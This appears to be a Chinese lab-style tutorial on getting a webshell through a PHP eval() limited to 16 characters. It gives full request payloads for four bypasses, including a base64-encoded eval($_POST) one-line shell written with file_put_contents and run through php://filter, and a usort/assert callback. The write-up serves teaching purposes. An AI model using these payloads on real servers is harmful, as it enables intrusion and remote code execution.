当前位置: 首页 > ds >正文

EVAL长度限制突破

php,eval函数参数限制在16个字符的情况下,如何拿到webshell?

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param,'eval') === false && stripos($param,'assert') === false)
{eval($param);
}

一、`$_GET[1]`

使用:?param=echo `$_GET[1]`;&1=whoami

需要用Linux系统的环境,因为windows系统可能解析不了`小斜杠

二、include$_GET[1];

phpinfo();==>$FILES[file][tmp_name]==>include

这个技巧是怎么利用的呢

这个利用必须要一个phpinfo的一个界面

文件包含里要用

有phpinfo.php的页面

然后用脚本在phpinfo里不断上传post,垃圾数据,大型文件,然后让它生成临时文件

找到临时文件的位置,然后在1的这个位置输入进去

相当于include把这个文件包含进来了

在真实的环境下利用率不是很高,因为有需要有phpinfo.php页面

三、$_GET[1](N,P,8);

PD9waHAgZXZhbCgkX1BPU1RbOV0pOw        ---(写入N文件  )

base64解码是<?php eval($_POST[9]);

所以1是接的值是<?php eval($_POST[9]);

让include包含它去执行<?php eval($_POST[9]);

hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

hua.php?1=file_put_contents&param=$_GET[1](N,D,8);

hua.php?1=file_put_contents&param=$_GET[1](N,w,8);

期待的结果是将(PD9waHAgZXZhbCgkX1BPU1RbOV0pOw)一个一个追加到N文件中

file_put_contents中有一个参数可以进行追加就是FILE_APPEND,

但是如果?1=file_put_contents&param=$_GET[1](N,P,FILE_APPEND);长度超过了限制

那这里怎么办呢,是否有其他的代替FILE_APPEND同样有追加的效果

php中c语言的底层代码数字8就是表示追加

为什么追加base64编码呢不直接追加<?php eval($_POST[9]);呢?

file_put_contents不能追加<字符

hua.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

使用php://filter/的伪协议进行base64转码,然后用include包含文件来执行传参9 的值

这里用到1=file_put_contents是为了赋值,摆脱限长

file_put_contents是写文件

http://127.0.0.1/hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

四、usort(...$_GET);

php5.6+变长参数==>usort回调后门==>任意代码执行

hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

那什么是变长参数?

使用 ... 运算符进行参数展开

目前usort可以接到(...$_GET)的传参,...$_GET可以传多个不同的传参

uksort(array &$array, callable $callback): true

前者是数组,后者是回调函数

用burpsuite

手动修改post请求需要加Content-Type:application/x-www-form-urlencoded

添加:param=usort(...$_GET);

php7.3的版本不可以使用动态的包含文件

用该url抓包hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

修改传参类型改为POST传参

这里post需要添加Content-Type:头部字段

请求后发现一句话解析成功

http://www.xdnf.cn/news/305.html

相关文章:

  • 2000V高压储能趋势下,磁环如何实现高低温衰减≤12%
  • 性能测试面试题的详细解答
  • 习题3.4 最长连续递增子序列
  • 习题2.8 输出全排列
  • yarn常用的命令
  • Spring_MVC 快速入门指南
  • C++程序设计基础实验:C++对C的扩展特性与应用
  • Libtorch安装与使用
  • kubernetes-使用ceph-csi
  • Linux 进程
  • 浅析MySQL事务锁
  • 全球IP地址查询API:查询该IP所属的区域,提供即时服务
  • 【时时三省】(C语言基础)用do...while语句实现循环
  • 云端免费训练 AI 大模型推荐(适用于个人学习)
  • github 项目迁移到 gitee
  • 多肽 N 端乙酰化有什么作用?
  • 【机试】高精度
  • Java 数据类型全解析:基础、引用与包装类全面梳理
  • 【杂说杂谈】国产替代计划的思考
  • 使用droidrun库实现AI控制安卓手机
  • C++17 信号量模拟实现
  • AI测试用例生成平台
  • 4090租用,各云GPU平台价格对比清单及建议
  • 第十五节:实战场景-React路由权限控制方案
  • ModbusTCP 转 Profinet 主站网关
  • 2 celery环境搭建
  • 从实验室到肌肤:解码抗衰老科学革命与Dr.Jin麦角硫因胶囊的抗氧化突围
  • 香港服务器CPU对比:Intel E3与E5系列核心区别与使用场景
  • Aladdin显卡多任务运行教程
  • TVM计算图分割--Collage